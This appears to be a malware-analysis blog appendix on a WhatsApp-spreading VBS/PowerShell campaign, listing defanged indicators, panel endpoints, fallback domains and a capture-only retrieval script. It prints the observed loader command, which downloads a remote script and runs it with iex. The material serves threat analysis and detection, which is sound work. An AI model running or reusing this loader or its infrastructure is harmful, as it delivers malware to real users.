Loading...
You are here:  Home  >  Malware and Behavior Analysis  >  Current Article

WhatsApp_VBS_PowerShell

By   /  October 13, 2025  /  Comments Off on WhatsApp_VBS_PowerShell

    Print       Email

Appendix B — PowerShell Snippets (Defanged)

Observed Malicious Loader Command (Do NOT Execute)
—————————————————————-
powershell.exe -ep bypass “[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12;iex ((New-Object Net.WebClient).DownloadString(‘https://miportuarios[.]com/sisti/api.ps1’))”

IMAP Bootstrap (Mailbox as Config Channel)
—————————————————————-
# Opens TLS IMAP to imap.terra.com.br:993, logs in, searches subject “data”, fetches latest body.
# Shown here for analysis context only; do NOT run in production.
# (The original script uses TcpClient + SslStream and raw IMAP commands: LOGIN/SELECT/SEARCH/FETCH.)

Related Backend Endpoints (Same Infrastructure)
—————————————————————-
miportuarios[.]com/sisti/api.php
miportuarios[.]com/sisti/log.php
miportuarios[.]com/sisti/config.php
miportuarios[.]com/sisti/contacts.php

WhatsApp Automation Indicators (Related PS sample)
—————————————————————-
– Downloads WPPConnect JS from: github[.]com/wppconnect-team/wa-js/…/wppconnect-wa.js
– Copies Chrome profile to: C:\temp\ChromeWpp
– Drops ChromeDriver to: C:\temp\chromedriver.exe
– Interacts with: https://web.whatsapp[.]com/

Lab‑Only, Capture‑Only Retrieval Harness (Safe Alternative)
—————————————————————-
# Purpose: capture bytes without execution; include PT‑BR headers and cookie seeding via /data.php.
# Replace OUTFILE as needed. Do NOT include this in automated allowlists.

$ErrorActionPreference = ‘Stop’
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12

$h = @{
‘User-Agent’ = ‘Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Edg/124.0.0.0’
‘Accept’ = ‘*/*’
‘Accept-Language’ = ‘pt-BR,pt;q=0.9,en-US;q=0.8,en;q=0.7’
}
$s = New-Object Microsoft.PowerShell.Commands.WebRequestSession

# Seed cookie (fallback path from the VBS)
Invoke-WebRequest ‘https://lefthandsuperstructures[.]com/data.php’ -Headers $h -WebSession $s -UseBasicParsing | Out-Null

# Fetch gated PS1 (no IEX; write to disk)
$out = ‘C:\Temp\api.ps1’
Invoke-WebRequest ‘https://miportuarios[.]com/sisti/api.ps1’ `
-Headers ($h + @{ ‘Referer’=’https://lefthandsuperstructures[.]com/data.php’ }) `
-WebSession $s -UseBasicParsing -MaximumRedirection 10 `
-OutFile $out -Verbose

Get-Item $out | Select FullName,Length,LastWriteTime
Get-FileHash $out -Algorithm SHA256

—————————————————————-
IMAP: imap.terra.com.br:993
Fallback: lefthandsuperstructures[.]com, clhttradinglimited[.]com, mazdafinancialsevrices[.]com,
ricardasphotography[.]com, jornalistaaurelianoborgesmidia[.]com, cursosgratiss[.]com[.]br,
intelligentopennetworkingawards[.]com, vinhomeshungyentheempires[.]com, wbdiamonds[.]com,
pastebin[.]com/raw/SmCz4cp8
Panel: miportuarios[.]com/sisti/{api.php,config.php,log.php,contacts.php}
Other: api.ipify[.]org, cld[.]pt/dl/…/Orcamento…zip

    Print       Email
  • RSS feed: The Hacker News The Hacker News

    • ⚡ Weekly Recap: Helpdesk 0-Days, Rogue Certs, ShinyHunters Arrest, AI-Fooling Malware and More October 12, 2026
      Some meetings last longer than it took attackers to jump on a newly disclosed security flaw this week. Within hours, they were already testing it. That's not much time to read the warning, let alone do something about it. But speed is only part of the problem. A secure connection didn't always mean a safe […]
    • Bring Your Own Agent: Your Employees' Assistants Are Already Logged In October 12, 2026
      The personal AI agents rollout is going about as smoothly as expected: Amazon now blocks Meta's Muse because it doesn't identify itself as a bot while browsing; Instinct keeps raising privacy concerns; and the horror stories from pretty much every personal AI agent keep piling up. Regardless, the tech world is mesmerized by the capabilities […]
    • Ledger Finds Unauthorized Hardware Implant in CryptoBilis-Sold Wallet Amid Fund Theft Reports October 12, 2026
      Cryptocurrency hardware maker Ledger has temporarily paused sales of its products via CryptoBilis following reports of stolen funds linked to devices sold by the reseller. On Friday, the company said it was investigating reports of loss of funds from users in Southeast Asia who had purchased products from CryptoBilis. The incident is said to have […]
    • Critical SonicWall SMA 1000 Flaw Targeted in 135 Exploitation Attempts After Patch October 12, 2026
      Threat actors have been observed exploiting a recently disclosed critical security flaw in SonicWall Secure Mobile Access (SMA) 1000 appliances within days of public disclosure. The vulnerability, tracked as CVE-2026-102255 (CVSS score: 10.0), is a case of pre-authenticated server-side request forgery (SSRF) that could allow a remote attacker "to direct the appliance to issue requests […]
    • Attackers Exploit CVSS 10.0 Bricksforge WordPress Flaw Enabling Unauthenticated RCE October 12, 2026
      A maximum-severity security flaw impacting the Bricksforge plugin for WordPress has come under active exploitation in the wild, according to Patchstack. The critical vulnerability in question is CVE-2026-85097 (CVSS score: 10.0), which allows unauthenticated attackers to upload and execute arbitrary PHP code on vulnerable WordPress websites, resulting in remote code execution (RCE). The

You might also like...

phishing-kit

Read More →